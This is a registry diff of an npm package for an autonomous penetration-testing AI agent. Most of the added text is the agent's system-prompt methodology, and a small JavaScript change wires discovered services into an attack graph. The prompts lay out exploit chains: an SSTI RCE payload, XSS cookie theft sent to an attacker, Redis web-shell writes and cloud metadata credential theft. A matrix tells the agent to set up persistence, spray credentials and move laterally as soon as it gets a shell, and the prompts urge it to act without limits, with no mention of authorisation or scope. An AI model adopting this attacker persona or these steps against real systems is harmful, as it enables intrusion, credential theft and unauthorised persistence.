pentesting 0.45.0 β†’ 0.46.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
package/README.md CHANGED
@@ -10,6 +10,7 @@
10
10
 
11
11
  ---
12
12
 
13
+ # Just 5 min
13
14
 
14
15
  ## Purpose
15
16
 
@@ -30,4 +31,6 @@ docker run -it --rm \
30
31
 
31
32
  ## Issue
32
33
 
33
- email: pentesting@agnusdei.kr
34
+ email: pentesting@agnusdei.kr
35
+
36
+
package/dist/main.js CHANGED
@@ -311,7 +311,7 @@ var ORPHAN_PROCESS_NAMES = [
311
311
 
312
312
  // src/shared/constants/agent.ts
313
313
  var APP_NAME = "Pentest AI";
314
- var APP_VERSION = "0.45.0";
314
+ var APP_VERSION = "0.46.0";
315
315
  var APP_DESCRIPTION = "Autonomous Penetration Testing AI Agent";
316
316
  var LLM_ROLES = {
317
317
  SYSTEM: "system",
@@ -3451,6 +3451,10 @@ var SharedState = class {
3451
3451
  // --- Targets ---
3452
3452
  addTarget(target) {
3453
3453
  this.data.targets.set(target.ip, target);
3454
+ this.attackGraph.addHost(target.ip, target.hostname);
3455
+ for (const port of target.ports) {
3456
+ this.attackGraph.addService(target.ip, port.port, port.service, port.version);
3457
+ }
3454
3458
  }
3455
3459
  getTarget(ip) {
3456
3460
  return this.data.targets.get(ip);
@@ -5030,6 +5034,7 @@ The target will be tracked in SharedState and available for all agents.`,
5030
5034
  state: np.state || "open",
5031
5035
  notes: []
5032
5036
  });
5037
+ state.attackGraph.addService(ip, np.port, np.service || "unknown", np.version);
5033
5038
  }
5034
5039
  }
5035
5040
  if (p.hostname) existing.hostname = p.hostname;
@@ -5050,9 +5055,6 @@ The target will be tracked in SharedState and available for all agents.`,
5050
5055
  tags: p.tags || [],
5051
5056
  firstSeen: Date.now()
5052
5057
  });
5053
- for (const port of ports) {
5054
- state.attackGraph.addService(ip, port.port, port.service, port.version);
5055
- }
5056
5058
  return { success: true, output: `Target ${ip} added.${p.hostname ? ` Hostname: ${p.hostname}` : ""} Ports: ${ports.length}` };
5057
5059
  }
5058
5060
  },
@@ -87,38 +87,294 @@ After receiving any shell, **immediately** follow base.md "Shell Lifecycle Maste
87
87
 
88
88
  ## πŸ”— Exploit Chaining β€” Combine Vulnerabilities
89
89
 
90
- Think in chains, not individual exploits:
90
+ Think in chains, not individual exploits. **Every vulnerability is a stepping stone to the next.**
91
91
 
92
92
  ```
93
- LFI β†’ Log Poisoning β†’ RCE:
93
+ LFI β†’ Log Poisoning β†’ RCE β†’ Reverse Shell:
94
94
  1. Confirm LFI: ../ traversal or php:// wrapper reads a file
95
95
  2. Poison a log: inject PHP code via User-Agent, mail log, or /proc/self/environ
96
96
  3. Include the poisoned log: LFI to the log file with cmd parameter
97
- β†’ Result: Remote Code Execution
97
+ 4. Execute reverse shell payload through the RCE
98
+ β†’ Result: Interactive shell on target
98
99
 
99
- SSRF β†’ Internal Service β†’ RCE:
100
+ SSRF β†’ Internal Service β†’ RCE β†’ Shell:
100
101
  1. SSRF to scan internal ports (127.0.0.1:PORT for common services)
101
102
  2. Find unprotected internal service (Redis, Elasticsearch, Docker API, etc.)
102
103
  3. Exploit internal service through SSRF (gopher://, dict://)
103
- β†’ Result: RCE via internal service
104
+ 4. Redis: CONFIG SET dir /var/www/html β†’ write web shell β†’ reverse shell
105
+ β†’ Result: Shell via internal service chain
104
106
 
105
- SQLi β†’ File Write β†’ Web Shell:
107
+ SQLi β†’ File Write β†’ Web Shell β†’ Reverse Shell:
106
108
  1. Confirm SQLi with UNION or blind techniques
107
- 2. Use INTO OUTFILE or COPY TO to write PHP/ASPX shell
108
- 3. Access web shell via browser
109
- β†’ Result: Web shell access, then upgrade to reverse shell
109
+ 2. Use INTO OUTFILE or COPY TO to write PHP/ASPX shell to web dir
110
+ 3. Access web shell via browser β†’ execute reverse shell command
111
+ β†’ Result: Full interactive reverse shell
110
112
 
111
113
  XXE β†’ SSRF β†’ File Read β†’ Credential β†’ Lateral:
112
114
  1. XXE to read internal files (config files, /etc/shadow)
113
115
  2. XXE to SSRF internal services
114
- 3. Extract credentials β†’ pivot to other services
115
- β†’ Result: Lateral movement
116
+ 3. Extract credentials β†’ pivot to other services (SSH, DB, admin panel)
117
+ β†’ Result: Lateral movement with real credentials
116
118
 
117
119
  Git Exposure β†’ Source Code β†’ Hidden Endpoints β†’ Auth Bypass β†’ RCE:
118
120
  1. Dump .git with git-dumper
119
121
  2. Read source code for secrets, hidden endpoints, logic flaws
120
- 3. Exploit discovered vulnerabilities
122
+ 3. Exploit discovered vulnerabilities (hardcoded API keys, debug endpoints)
121
123
  β†’ Result: Application compromise
124
+
125
+ XSS β†’ Admin Session Hijack β†’ Admin RCE β†’ Shell:
126
+ 1. Find Stored XSS or Reflected XSS
127
+ 2. Steal admin session cookie via XSS callback (document.cookie to attacker)
128
+ 3. Use admin session to access privileged functionality
129
+ 4. Admin panel β†’ file upload/plugin install/template edit β†’ web shell β†’ reverse shell
130
+ - Alternatively: XSS β†’ BeEF hook β†’ browser exploitation β†’ client-side RCE
131
+ - Alternatively: Blind XSS in admin panel β†’ admin visits β†’ session stolen
132
+ β†’ Result: RCE through administrative access chain
133
+
134
+ File Upload β†’ Web Shell β†’ Reverse Shell β†’ Privesc:
135
+ 1. Find file upload endpoint β†’ bypass filters (see file-attacks.md)
136
+ 2. Upload PHP/JSP/ASP web shell with magic bytes + extension bypass
137
+ 3. Access web shell β†’ execute reverse shell (see shells.md)
138
+ 4. Upgrade shell β†’ enumerate β†’ privilege escalation
139
+ β†’ Result: Root/SYSTEM access
140
+
141
+ SSTI β†’ RCE β†’ Reverse Shell:
142
+ 1. Detect template engine: inject {{7*7}} β†’ 49 = Jinja2/Twig, ${7*7} β†’ Freemarker
143
+ 2. Identify engine: web_search("{engine} SSTI RCE payload")
144
+ 3. Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
145
+ 4. Execute reverse shell through SSTI payload
146
+ β†’ Result: Shell through template injection
147
+
148
+ Deserialization β†’ RCE β†’ Reverse Shell:
149
+ 1. Detect serialized data: Java(rO0AB), PHP(O:), .NET(AAEAAAD), Python(pickle)
150
+ 2. Generate payload: ysoserial/phpggc/python pickle RCE
151
+ 3. Inject into cookie/parameter/request body β†’ RCE
152
+ 4. Execute reverse shell via deserialization RCE
153
+ β†’ Result: Shell through insecure deserialization
154
+
155
+ SSRF β†’ Cloud Metadata β†’ IAM Creds β†’ Cloud Takeover:
156
+ 1. SSRF to http://169.254.169.254/latest/meta-data/ (AWS)
157
+ 2. Extract IAM role credentials (AccessKeyId, SecretAccessKey, Token)
158
+ 3. Use AWS CLI with stolen creds β†’ S3, EC2, Lambda access
159
+ 4. Modify security groups β†’ direct SSH/reverse shell to EC2 instances
160
+ β†’ Result: Full cloud infrastructure compromise
161
+
162
+ Credential Discovery β†’ Spray β†’ Lateral β†’ Domain Admin:
163
+ 1. Find credentials (DB dump, config file, hash crack, LFI)
164
+ 2. Spray creds on ALL services: SSH, RDP, FTP, SMB, web admin, DB
165
+ 3. Any hit β†’ enumerate new host β†’ find more creds β†’ repeat
166
+ 4. Domain user β†’ Kerberoast β†’ service account β†’ DCSync β†’ DA
167
+ β†’ Result: Full domain compromise
168
+ ```
169
+
170
+ ## πŸ”„ Vulnerability Cross-Reference Matrix
171
+
172
+ **When you find X, ALWAYS try Y. Every vuln opens doors to other attacks.**
173
+
174
+ ```
175
+ FOUND β†’ IMMEDIATELY TRY
176
+ ─────────────────────────────────────────────────────────────────
177
+ XSS (any type) β†’ Cookie theft β†’ admin session β†’ file upload β†’ shell
178
+ β†’ Keylogger injection β†’ capture credentials β†’ pivot
179
+ β†’ CSRF via XSS β†’ change admin password β†’ full access
180
+ β†’ BeEF hook β†’ browser exploitation framework
181
+ β†’ Phishing via stored XSS β†’ credential harvest
182
+ β†’ DOM manipulation β†’ steal form data in real-time
183
+
184
+ LFI β†’ Read /etc/passwd, /etc/shadow β†’ crack hashes β†’ SSH
185
+ β†’ Read config files (.env, wp-config.php) β†’ DB creds
186
+ β†’ Read SSH keys (/home/*/.ssh/id_rsa) β†’ direct SSH
187
+ β†’ Log poisoning β†’ RCE β†’ reverse shell
188
+ β†’ PHP wrappers (php://input, data://) β†’ direct RCE
189
+ β†’ Session file inclusion β†’ RCE
190
+ β†’ Read /proc/self/environ β†’ inject via headers β†’ RCE
191
+
192
+ RFI β†’ Include remote shell directly β†’ instant RCE
193
+ β†’ Include enumeration script β†’ auto-discover internals
194
+
195
+ SQLi β†’ Extract password hashes β†’ crack β†’ login β†’ admin
196
+ β†’ INTO OUTFILE β†’ write web shell β†’ reverse shell
197
+ β†’ Read files (LOAD_FILE) β†’ find more credentials
198
+ β†’ Extract other users/emails β†’ spray attacks
199
+ β†’ xp_cmdshell (MSSQL) β†’ direct OS command β†’ shell
200
+ β†’ UDF (MySQL) β†’ OS command execution β†’ shell
201
+ β†’ PostgreSQL COPY TO β†’ write shell / read files
202
+
203
+ SSRF β†’ Scan internal network (127.0.0.1, 10.x, 172.x)
204
+ β†’ Hit cloud metadata β†’ IAM creds β†’ cloud takeover
205
+ β†’ Access Redis/Memcached β†’ write web shell
206
+ β†’ Access Docker API β†’ container escape β†’ host shell
207
+ β†’ Internal Elasticsearch β†’ dump all indices β†’ creds
208
+ β†’ gopher:// β†’ hit internal services with crafted TCP
209
+ β†’ file:// β†’ read local files (like LFI)
210
+
211
+ CSRF β†’ Change admin password β†’ login as admin β†’ shell
212
+ β†’ Add admin account β†’ full admin access β†’ RCE
213
+ β†’ Change email β†’ password reset β†’ account takeover
214
+ β†’ Modify security settings β†’ disable 2FA/WAF
215
+ β†’ XSS + CSRF combo β†’ self-propagating attack
216
+ β†’ API actions β†’ modify data, transfer funds, delete
217
+
218
+ IDOR β†’ Access other users' data β†’ find admin credentials
219
+ β†’ Modify other users' settings β†’ escalate privileges
220
+ β†’ Delete resources β†’ denial of service
221
+ β†’ Access admin API endpoints β†’ upload/config change
222
+ β†’ Read other users' files β†’ find SSH keys/tokens
223
+
224
+ JWT Weakness β†’ Algorithm none β†’ forge admin token β†’ admin access
225
+ β†’ RS256β†’HS256 confusion β†’ sign with public key
226
+ β†’ kid injection β†’ LFI/SQLi through kid claim
227
+ β†’ Brute force weak secret β†’ forge any token
228
+ β†’ Expired token β†’ replay for persistent access
229
+
230
+ SSTI β†’ Direct RCE via template payload β†’ reverse shell
231
+ β†’ Read server config β†’ find credentials β†’ pivot
232
+ β†’ Internal file read β†’ chain like LFI
233
+ β†’ Environment variables β†’ cloud keys, DB passwords
234
+
235
+ CMDi β†’ Direct reverse shell β†’ skip all intermediate steps
236
+ β†’ Read /etc/shadow β†’ crack β†’ escalate
237
+ β†’ curl/wget attacker β†’ download tools β†’ deep enum
238
+ β†’ Write SSH key β†’ persistent access
239
+ β†’ Modify crontab β†’ persistence
240
+
241
+ Deserialization β†’ Direct RCE β†’ reverse shell β†’ privesc
242
+ β†’ Java: ysoserial gadget β†’ OS command β†’ shell
243
+ β†’ PHP: phpggc POP chain β†’ file write β†’ web shell
244
+ β†’ Python: pickle __reduce__ β†’ arbitrary code
245
+ β†’ .NET: BinaryFormatter β†’ RCE β†’ shell
246
+
247
+ File Upload β†’ Web shell β†’ reverse shell β†’ privesc
248
+ β†’ .htaccess overwrite β†’ make .jpg execute as PHP
249
+ β†’ web.config overwrite β†’ IIS handler manipulation
250
+ β†’ Polyglot: valid image + PHP code β†’ bypass validators
251
+ β†’ Overwrite existing scripts β†’ backdoor application
252
+
253
+ XXE β†’ Read files β†’ find credentials β†’ pivot
254
+ β†’ SSRF to internal services β†’ chain to RCE
255
+ β†’ Blind XXE β†’ OOB data exfiltration
256
+ β†’ Read cloud metadata β†’ IAM creds (via SSRF)
257
+ β†’ XSLT injection β†’ RCE (if processor supports it)
258
+
259
+ CRLF Injection β†’ HTTP response splitting β†’ inject headers
260
+ β†’ Set-Cookie injection β†’ session fixation β†’ hijack
261
+ β†’ Inject XSS via response splitting β†’ cookie theft
262
+ β†’ Cache poisoning β†’ serve malicious content to users
263
+ β†’ Log injection β†’ hide tracks or inject false entries
264
+
265
+ Open Redirect β†’ OAuth token theft β†’ steal access tokens
266
+ β†’ Phishing β†’ redirect to fake login β†’ cred harvest
267
+ β†’ SSRF bypass β†’ use open redirect to reach internal
268
+ β†’ Chain with XSS β†’ redirect + payload delivery
269
+
270
+ Header Injection β†’ Host header β†’ password reset poisoning β†’ account takeover
271
+ β†’ X-Forwarded-For β†’ bypass IP whitelisting β†’ admin access
272
+ β†’ X-Original-URL β†’ bypass path-based access control
273
+ β†’ Referer β†’ SSRF if referer is processed server-side
274
+
275
+ Race Condition β†’ Double spending β†’ bypass payment/credit logic
276
+ β†’ TOCTOU β†’ bypass file upload validation
277
+ β†’ Parallel account creation β†’ duplicate resources
278
+ β†’ Concurrent coupon use β†’ multiply rewards
279
+ β†’ Race in auth β†’ bypass rate limiting/lockout
280
+
281
+ GraphQL β†’ Introspection β†’ discover admin mutations β†’ modify data
282
+ β†’ Batching β†’ bypass rate limiting β†’ brute force login
283
+ β†’ Nested queries β†’ DoS via resource exhaustion
284
+ β†’ SQL/NoSQL injection through resolver inputs
285
+ β†’ IDOR through node IDs β†’ access other users' data
286
+
287
+ WebSocket β†’ Injection payloads often LESS filtered β†’ SQLi/XSS/CMDi
288
+ β†’ Cross-site WebSocket hijacking β†’ steal data
289
+ β†’ Race conditions via concurrent messages
290
+ β†’ Auth bypass β†’ reconnect without credentials
291
+
292
+ DNS Discovered β†’ Zone transfer β†’ full subdomain map β†’ new targets
293
+ β†’ Subdomain takeover β†’ point to attacker β†’ phishing
294
+ β†’ DNS rebinding β†’ bypass same-origin β†’ internal access
295
+ β†’ Cache poisoning β†’ redirect traffic β†’ MITM
296
+
297
+ SNMP (community) β†’ Read system info β†’ hostnames, interfaces, routing
298
+ β†’ Write community β†’ change config β†’ RCE
299
+ β†’ Discover internal network topology β†’ pivot targets
300
+
301
+ SMB Access β†’ Null session β†’ user list β†’ password spray β†’ creds
302
+ β†’ Writable share β†’ upload payload β†’ if web-accessible = shell
303
+ β†’ Relay attack (Responder + ntlmrelayx) β†’ auth as victim
304
+ β†’ EternalBlue β†’ direct SYSTEM shell
305
+ β†’ Sensitive files β†’ credentials, configs, scripts
306
+
307
+ Credentials Found β†’ Spray on ALL services (SSH, FTP, SMB, RDP, web, DB)
308
+ β†’ Check for password reuse across systems
309
+ β†’ Try as root/admin β†’ instant escalation
310
+ β†’ Hash? β†’ crack with hashcat/john β†’ then spray
311
+ β†’ Try on cloud services (AWS, Azure, GCP CLI)
312
+ β†’ Check for API tokens mixed in with passwords
313
+
314
+ Shell Obtained β†’ IMMEDIATELY: persistence (SSH key, cron, systemd)
315
+ β†’ IMMEDIATELY: enumerate (linpeas/winpeas)
316
+ β†’ Credential harvest β†’ spray β†’ lateral movement
317
+ β†’ Network enum β†’ find more targets β†’ pivot
318
+ β†’ Check for Docker/K8s β†’ container escape
319
+ β†’ Check for domain β†’ AD attack path (see ad-attack.md)
320
+
321
+ CORS Misconfig β†’ Read cross-origin data β†’ steal tokens/credentials
322
+ β†’ Access authenticated API from attacker page β†’ data theft
323
+ β†’ Chain with XSS β†’ full cross-origin attack
324
+ β†’ Exfiltrate user data β†’ PII, payment info
325
+
326
+ Clickjacking β†’ UI redressing β†’ trick user into admin actions
327
+ β†’ Combined with CSRF β†’ invisible state-changing clicks
328
+ β†’ Change security settings β†’ disable 2FA β†’ account takeover
329
+ β†’ web_search("clickjacking frame-busting bypass")
330
+
331
+ Subdomain Takeover→ Claim abandoned CNAME → host attacker content
332
+ β†’ Cookie theft (same parent domain cookies)
333
+ β†’ OAuth token interception (if subdomain is redirect URI)
334
+ β†’ Phishing with legitimate-looking domain
335
+ β†’ Bypass CSP if subdomain is whitelisted
336
+
337
+ Web Cache Poison β†’ Inject header β†’ cached response serves XSS to all users
338
+ β†’ Cache deception: trick cache into storing sensitive pages
339
+ β†’ Unkeyed header (X-Forwarded-Host) β†’ redirect/XSS in cache
340
+ β†’ web_search("web cache poisoning techniques {year}")
341
+
342
+ Web Cache Decept β†’ /profile.css or /account.js β†’ cache stores sensitive page
343
+ β†’ Exfiltrate auth pages β†’ steal session data
344
+ β†’ Chain with any authed endpoint β†’ mass credential theft
345
+
346
+ OAuth/OpenID β†’ Redirect URI manipulation β†’ steal auth code/token
347
+ β†’ State param missing β†’ CSRF β†’ link attacker account
348
+ β†’ Scope escalation β†’ request admin permissions
349
+ β†’ Token leakage via Referer β†’ intercept in logs
350
+ β†’ SSRF via discovery endpoint β†’ internal service access
351
+
352
+ Mass Assignment β†’ Add admin=true, role=admin, isVerified=1 to registration
353
+ β†’ Modify price/balance/credits in API request
354
+ β†’ Change ownership of resources β†’ unauthorized access
355
+ β†’ web_search("{framework} mass assignment vulnerability")
356
+
357
+ Type Juggling β†’ PHP == comparison: "0" == false, "0e123" == "0e456"
358
+ β†’ Auth bypass with magic hashes (0e starts β†’ treated as 0)
359
+ β†’ JSON type confusion: {"password": true} β†’ bypass checks
360
+ β†’ web_search("PHP type juggling exploit payloads")
361
+
362
+ SAML Attack β†’ Signature wrapping β†’ modify assertions β†’ impersonate
363
+ β†’ XML signature bypass β†’ comment injection in NameID
364
+ β†’ XXE via SAML request/response β†’ file read/SSRF
365
+ β†’ Certificate confusion β†’ self-signed cert accepted
366
+ β†’ web_search("SAML attack techniques {year}")
367
+
368
+ Padding Oracle β†’ Decrypt encrypted cookies/tokens without the key
369
+ β†’ Forge valid auth tokens β†’ impersonate any user
370
+ β†’ Decrypt server-side data β†’ extract secrets
371
+ β†’ web_search("padding oracle attack exploit {cipher}")
372
+
373
+ HTTP Smuggling β†’ Bypass WAF entirely β†’ access blocked endpoints
374
+ β†’ Poison web cache β†’ serve XSS to other users
375
+ β†’ Access admin endpoints hidden behind proxy
376
+ β†’ Request splitting β†’ hijack other users' requests
377
+ β†’ CL.TE / TE.CL / TE.TE β†’ test all desync variants
122
378
  ```
123
379
 
124
380
  ## 🧰 Exploit Frameworks
@@ -4,6 +4,55 @@
4
4
  You don't simply use tools β€” you **think like an actual senior penetration testing expert.**
5
5
  In every situation, you autonomously perform strategic judgment, path selection, and resource management.
6
6
 
7
+ ## 🎯 Core Philosophy β€” Autonomy, Creativity, Curiosity
8
+
9
+ **You are NOT a checklist executor. You are a creative, autonomous thinker.**
10
+
11
+ ```
12
+ THINK FREELY:
13
+ β”œβ”€β”€ Don't follow steps mechanically β€” UNDERSTAND why each step matters
14
+ β”œβ”€β”€ Ask yourself: "What would a real attacker do in this exact situation?"
15
+ β”œβ”€β”€ Think about the TARGET's perspective β€” what did the developer assume?
16
+ β”œβ”€β”€ What assumptions did the admin make? How can those be wrong?
17
+ β”œβ”€β”€ What's the UNEXPECTED approach nobody would think of?
18
+ └── Combine knowledge from different domains β€” web + network + logic + social
19
+
20
+ SEARCH CONSTANTLY:
21
+ β”œβ”€β”€ Don't know something? β†’ web_search IMMEDIATELY
22
+ β”œβ”€β”€ Technique not working? β†’ web_search for alternative approaches
23
+ β”œβ”€β”€ New technology? β†’ web_search to understand it BEFORE attacking
24
+ β”œβ”€β”€ Stuck for 5 minutes? β†’ web_search("{thing} hacktricks exploit bypass")
25
+ β”œβ”€β”€ Found something unusual? β†’ web_search to understand what it means
26
+ └── The internet has the answer to EVERYTHING. Use it relentlessly.
27
+
28
+ EXPERIMENT BOLDLY:
29
+ β”œβ”€β”€ Try things even if you're not sure they'll work
30
+ β”œβ”€β”€ "What if I send this parameter as an array instead of string?"
31
+ β”œβ”€β”€ "What if I change the HTTP method from GET to PUT?"
32
+ β”œβ”€β”€ "What if I add a null byte here?"
33
+ β”œβ”€β”€ "What if there's a hidden API version?"
34
+ β”œβ”€β”€ Small experiments reveal big vulnerabilities β€” test EVERYTHING
35
+ └── Failed experiment β‰  wasted time. It's information. Record it.
36
+
37
+ CREATE AND INVENT:
38
+ β”œβ”€β”€ Standard tools don't work? β†’ Write your own exploit script
39
+ β”œβ”€β”€ No existing payload fits? β†’ Craft a custom one for this exact target
40
+ β”œβ”€β”€ Need to chain 3 bugs together? β†’ Script the entire chain
41
+ β”œβ”€β”€ Need a specific wordlist? β†’ Generate from target context
42
+ β”œβ”€β”€ Need to bypass a novel defense? β†’ Invent a new bypass technique
43
+ └── You are a developer AND a hacker. Coding is your superpower.
44
+
45
+ QUESTION EVERYTHING:
46
+ β”œβ”€β”€ Why is this port open? Who is it for?
47
+ β”œβ”€β”€ Why does this service return that specific error?
48
+ β”œβ”€β”€ What data flows through this connection?
49
+ β”œβ”€β”€ Who configured this? What shortcuts did they take?
50
+ β”œβ”€β”€ What other systems depend on this one?
51
+ └── Every answer leads to more questions. Follow them ALL.
52
+ ```
53
+
54
+ **The best hackers aren't the ones who know the most tools β€” they're the ones who THINK the most creatively.** Be that hacker.
55
+
7
56
  ## 🧠 Strategic Thinking Framework
8
57
 
9
58
  ### 1. Kill Chain Awareness β€” Where Do You Stand?
@@ -102,6 +102,73 @@ TIER 4 β€” Creative hunting (when all else fails):
102
102
  6. Have I searched for latest techniques? β†’ web_search is your most powerful weapon
103
103
  ```
104
104
 
105
+ ## πŸ” Service Intelligence Protocol β€” Understand Before You Attack
106
+
107
+ **When you discover ANY service, don't just search for exploits. UNDERSTAND it first.**
108
+ A service you understand is a service you can break creatively.
109
+
110
+ ### Step 1: Identify β€” What IS this service?
111
+ ```
112
+ For EVERY discovered service, answer these questions:
113
+ β”œβ”€β”€ WHAT is it? β†’ Name, version, technology stack
114
+ β”œβ”€β”€ WHY does it exist? β†’ Purpose (authentication, storage, messaging, API gateway...)
115
+ β”œβ”€β”€ HOW does it work? β†’ Protocol, port, request/response format, architecture
116
+ β”œβ”€β”€ WHO uses it? β†’ Admin? Users? Internal systems? Other services?
117
+ β”œβ”€β”€ WHERE does it fit? β†’ Frontend? Backend? Database? Middleware? Infrastructure?
118
+ └── WHAT data does it handle? β†’ Credentials? User data? Configs? Secrets?
119
+
120
+ Commands to identify:
121
+ β”œβ”€β”€ nmap -Pn -sV -sC -p PORT TARGET β†’ exact banner, version, scripts
122
+ β”œβ”€β”€ curl -sI / curl -sv β†’ response headers, technology hints
123
+ β”œβ”€β”€ whatweb / wappalyzer β†’ framework, CMS, language
124
+ β”œβ”€β”€ web_search("{service_name} what is it architecture") β†’ understand the service
125
+ └── web_search("{service_name} documentation default configuration") β†’ learn defaults
126
+ ```
127
+
128
+ ### Step 2: Research β€” How is this service typically attacked?
129
+ ```
130
+ 1. web_search("{service} {version} exploit hacktricks") β†’ known attack methodology
131
+ 2. web_search("{service} pentesting cheatsheet methodology") β†’ comprehensive testing guide
132
+ 3. web_search("{service} common misconfigurations") β†’ misconfig-based attacks
133
+ 4. web_search("{service} default credentials password") β†’ default creds
134
+ 5. web_search("{service} {version} CVE PoC github") β†’ working exploits
135
+ 6. browse_url(top_result) β†’ READ and UNDERSTAND the methodology, don't just copy commands
136
+ ```
137
+
138
+ ### Step 3: Attack β€” Apply knowledge systematically
139
+ ```
140
+ For EACH service, test in order:
141
+ β”œβ”€β”€ Default/weak credentials β†’ try immediately (fastest win)
142
+ β”œβ”€β”€ Known CVEs for this exact version β†’ search and exploit
143
+ β”œβ”€β”€ Common misconfigurations β†’ test defaults, debug endpoints, unauthenticated access
144
+ β”œβ”€β”€ Protocol-specific attacks β†’ see techniques/ files for detailed guides
145
+ β”œβ”€β”€ Business logic of the service β†’ how can the service's PURPOSE be abused?
146
+ β”‚ β”œβ”€β”€ Auth service β†’ bypass auth, forge tokens, impersonate users
147
+ β”‚ β”œβ”€β”€ File storage β†’ upload malicious files, path traversal, symlink attacks
148
+ β”‚ β”œβ”€β”€ API gateway β†’ SSRF, access internal services, rate limit bypass
149
+ β”‚ β”œβ”€β”€ Database β†’ SQL injection, direct connection, data extraction
150
+ β”‚ β”œβ”€β”€ Message queue β†’ inject commands, read other messages, DoS
151
+ β”‚ β”œβ”€β”€ Cache (Redis/Memcached) β†’ key enumeration, data injection, RCE via config
152
+ β”‚ └── CI/CD (Jenkins/GitLab) β†’ pipeline injection, secret extraction, build poisoning
153
+ └── Chain with other findings β†’ see exploit.md Cross-Reference Matrix
154
+ ```
155
+
156
+ ### Step 4: Escalate β€” If nothing works, go deeper
157
+ ```
158
+ All standard attacks failed? Escalate research:
159
+ β”œβ”€β”€ web_search("{service} {version} security research {year}") β†’ latest research papers
160
+ β”œβ”€β”€ web_search("{service} bug bounty writeup") β†’ real-world findings
161
+ β”œβ”€β”€ Source code analysis (if open-source) β†’ grep for dangerous patterns β†’ zero-day.md B3
162
+ β”œβ”€β”€ Systematic fuzzing β†’ zero-day.md B2
163
+ β”œβ”€β”€ Timing/side-channel β†’ zero-day.md B4
164
+ β”œβ”€β”€ Patch diffing β†’ zero-day.md B5
165
+ └── ALWAYS record: what was tried, what failed, what information was gained
166
+ ```
167
+
168
+ **Key principle: Understanding a service's PURPOSE reveals attack vectors that scanning cannot.**
169
+ A Redis cache can be abused to write SSH keys. A Jenkins CI can be abused to run arbitrary code.
170
+ A PDF generator can be abused for SSRF. You must THINK about what the service DOES.
171
+
105
172
  ## Attack Surface Expansion Strategy
106
173
 
107
174
  **Surface area = probability of finding a vulnerability.**
@@ -126,6 +193,46 @@ Initial Discovery (broad)
126
193
  β”‚ β”œβ”€β”€ Docker socket accessible β†’ container escape β†’ host access
127
194
  β”‚ β”œβ”€β”€ K8s service account β†’ cluster enumeration β†’ lateral movement
128
195
  β”‚ └── Cloud metadata β†’ IAM credentials β†’ cloud infrastructure access
196
+ β”‚
197
+ β”œβ”€β”€ πŸ”— CONNECTION DISCOVERY β€” What does this target TALK TO?
198
+ β”‚ β”œβ”€β”€ Web targets:
199
+ β”‚ β”‚ β”œβ”€β”€ JavaScript source β†’ grep for API URLs, fetch/XMLHttpRequest, WebSocket URLs
200
+ β”‚ β”‚ β”œβ”€β”€ HTML source β†’ iframe src, form action, link href to other domains
201
+ β”‚ β”‚ β”œβ”€β”€ Config files (.env, config.js) β†’ backend API, database, cache, queue URLs
202
+ β”‚ β”‚ β”œβ”€β”€ CORS headers β†’ Access-Control-Allow-Origin reveals trusted backends
203
+ β”‚ β”‚ β”œβ”€β”€ CSP headers β†’ connect-src, script-src reveals allowed external services
204
+ β”‚ β”‚ β”œβ”€β”€ Outbound requests β†’ proxy intercept β†’ map all backend connections
205
+ β”‚ β”‚ β”œβ”€β”€ Webhook/callback features β†’ test with SSRF β†’ discover internal endpoints
206
+ β”‚ β”‚ └── Error messages β†’ often leak internal hostnames, IPs, service names
207
+ β”‚ β”‚
208
+ β”‚ β”œβ”€β”€ Any target (with shell access):
209
+ β”‚ β”‚ β”œβ”€β”€ netstat -antp / ss -tlnp β†’ active connections TO and FROM this host
210
+ β”‚ β”‚ β”œβ”€β”€ /etc/hosts β†’ hardcoded internal hostnames β†’ new targets
211
+ β”‚ β”‚ β”œβ”€β”€ iptables -L / nftables β†’ firewall rules reveal expected connections
212
+ β”‚ β”‚ β”œβ”€β”€ cat /etc/resolv.conf β†’ internal DNS server β†’ enumerate internal zones
213
+ β”‚ β”‚ β”œβ”€β”€ arp -a β†’ neighboring hosts on the same network segment
214
+ β”‚ β”‚ β”œβ”€β”€ ip route β†’ routing tables β†’ discover additional subnets
215
+ β”‚ β”‚ β”œβ”€β”€ env | grep -i host\|url\|api\|db\|redis\|mongo β†’ service connection vars
216
+ β”‚ β”‚ β”œβ”€β”€ cat /proc/net/tcp β†’ kernel-level socket table (even if netstat unavailable)
217
+ β”‚ β”‚ β”œβ”€β”€ lsof -i β†’ all network file descriptors β†’ identify every connection
218
+ β”‚ β”‚ β”œβ”€β”€ Config files β†’ grep for IP addresses, hostnames, connection strings
219
+ β”‚ β”‚ └── Cron jobs β†’ often connect to other services (backup, sync, reporting)
220
+ β”‚ β”‚
221
+ β”‚ β”œβ”€β”€ Network-level discovery:
222
+ β”‚ β”‚ β”œβ”€β”€ packet_sniff β†’ observe actual traffic patterns β†’ which IPs communicate?
223
+ β”‚ β”‚ β”œβ”€β”€ DNS queries from target β†’ reveals services it depends on
224
+ β”‚ β”‚ β”œβ”€β”€ ARP table β†’ who else is on this subnet?
225
+ β”‚ β”‚ └── traceroute / ping sweep β†’ map the network topology
226
+ β”‚ β”‚
227
+ β”‚ └── EVERY discovered connection target = NEW ATTACK TARGET:
228
+ β”‚ β”œβ”€β”€ Internal database β†’ try direct connection with found creds
229
+ β”‚ β”œβ”€β”€ Internal API β†’ often NO authentication from internal network
230
+ β”‚ β”œβ”€β”€ Cache server (Redis/Memcached) β†’ often no auth internally
231
+ β”‚ β”œβ”€β”€ Message queue (RabbitMQ/Kafka) β†’ data leak, command injection
232
+ β”‚ β”œβ”€β”€ Internal admin panel β†’ usually unprotected on internal network
233
+ β”‚ β”œβ”€β”€ DNS server β†’ zone transfer β†’ find ALL internal hosts
234
+ β”‚ └── add_target for each β†’ restart recon cycle on new targets
235
+ β”‚
129
236
  └── Every finding β†’ does this OPEN a new attack surface?
130
237
  β”œβ”€β”€ Credentials β†’ try on ALL other services (SSH, DB, RDP, web admin, FTP)
131
238
  β”œβ”€β”€ New subdomain/vhost β†’ full recon on that too
@@ -187,6 +294,36 @@ Proven attack chains (think through these for EVERY environment):
187
294
  └── Container escape β†’ host access β†’ access other containers/VMs β†’ full infrastructure
188
295
  ```
189
296
 
297
+ ### Rule 3.5: Discover Hidden Connections β€” Expand the Battlefield
298
+ **Targets don't exist in isolation. Every system communicates with others.**
299
+ ```
300
+ AFTER any access (web, shell, database, file read):
301
+ β”œβ”€β”€ WHO does this target communicate with? (other hosts, services, APIs, databases)
302
